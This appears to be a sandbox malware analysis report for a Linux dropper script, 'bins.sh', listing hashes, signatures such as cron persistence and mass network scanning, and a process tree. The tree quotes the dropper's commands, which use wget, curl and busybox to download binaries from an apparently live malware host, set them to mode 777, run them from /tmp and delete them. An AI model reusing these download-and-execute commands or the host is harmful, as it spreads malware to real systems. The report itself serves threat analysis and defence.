Analysis
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max time kernel
150s -
max time network
155s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240611-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
09-11-2024 08:47
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240418-en
General
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Target
bins.sh
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Size
10KB
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MD5
c8f9e1152e00863bacf256ed5f4c77e9
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SHA1
e6e60f4df4205b91ab720b3f39512fb33d7f440e
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SHA256
33d1edad18461bc7548b110297a3b2ad8a826ed004d026c71f7d0a23576b30a7
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SHA512
1d57dcde0165fc18345ef0106bfe8871e1f1beec69fca83e9dcb034c142e0dc10fbbc6fb3b41b0b6b077c4f727ee9d6909cf29c4767a5bb29d641ca32df36bad
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SSDEEP
192:WWzeHHKB1Dqvs//MBj8N5VorTKO//MB15VorT+G+HHKB1Jvy:xzeHHKB1Da8N5VorTKh5VorTf+HHKB1w
Malware Config
Signatures
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Contacts a large (2043) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodchmodpid process 736 chmod 839 chmod -
Executes dropped EXE 2 IoCs
Processes:
J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6bzOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEBioc pid process /tmp/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b 737 J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b /tmp/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB 840 zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB -
Renames itself 1 IoCs
Processes:
J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6bpid process 738 J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc process File opened for modification /var/spool/cron/crontabs/tmp.bd8h5h crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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Processes:
J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6bdescription ioc process File opened for reading /proc/466/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/819/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/20/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/702/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/738/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/914/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/926/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/985/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/1025/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/112/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/703/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/733/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/814/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/882/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/981/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/15/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/682/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/776/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/831/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/889/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/951/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/18/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/228/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/746/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/752/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/834/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/78/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/928/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/954/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/833/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/13/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/14/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/77/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/384/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/980/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/1002/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/1018/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/10/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/832/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/790/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/773/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/1/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/817/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/863/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/1010/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/745/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/872/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/943/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/967/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/2/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/823/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/952/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/956/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/769/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/884/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/915/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/946/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/998/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/1005/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/1008/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/862/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/764/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/856/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/860/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b -
System Network Configuration Discovery 1 TTPs 7 IoCs
Adversaries may gather information about the network configuration of a system.
Processes:
wgetcurlbusyboxwgetcurlbusyboxwgetpid process 714 wget 727 curl 735 busybox 828 wget 837 curl 838 busybox 847 wget -
Writes file to tmp directory 4 IoCs
Malware often drops required files in the /tmp directory.
Processes:
wgetcurlbusyboxbusyboxdescription ioc process File opened for modification /tmp/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b wget File opened for modification /tmp/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b curl File opened for modification /tmp/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b busybox File opened for modification /tmp/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB busybox
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:706
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/bin/rm/bin/rm bins.sh2⤵PID:712
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:714 -
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:727 -
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:735 -
/bin/chmodchmod 777 J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b2⤵
- File and Directory Permissions Modification
PID:736 -
/tmp/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b./J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:737 -
/bin/shsh -c "crontab -l"3⤵PID:739
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/usr/bin/crontabcrontab -l4⤵PID:740
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/bin/shsh -c "crontab -"3⤵PID:742
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:743 -
/bin/rmrm J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b2⤵PID:745
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB2⤵
- System Network Configuration Discovery
PID:828 -
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB2⤵
- System Network Configuration Discovery
PID:837 -
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:838 -
/bin/chmodchmod 777 zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB2⤵
- File and Directory Permissions Modification
PID:839 -
/tmp/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB./zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB2⤵
- Executes dropped EXE
PID:840 -
/bin/rmrm zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB2⤵PID:842
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI2⤵
- System Network Configuration Discovery
PID:847
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
151KB
MD53c90d5820bddcf7c5d1bd21dfa49d958
SHA15ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA256bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
SHA51254a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
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Filesize
111KB
MD5ca897a38f23ec23521ce0b1b83f8422d
SHA1b8d2ab335346aba9a72bae0fe3533aca1ab7b66a
SHA256043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
SHA51210d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb
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Filesize
210B
MD51e36f61ae99a8b20ae1079e8a4f8fb3e
SHA1be995ffa8d43d534735bdf167f30fc534f0f0437
SHA2565df635136d58c4b8d71756220a333e139be6bd33d0c25d29d1c5009f799c0f3b
SHA5126c7c994c654ffd486fd7acae04ae6f3c7c3ba1f482b1e7c33ebc12a517b20223a94dfa67f0c01e66b6ff52e21490ef36210e41203155ec8e6cb36f2a0cc7ed90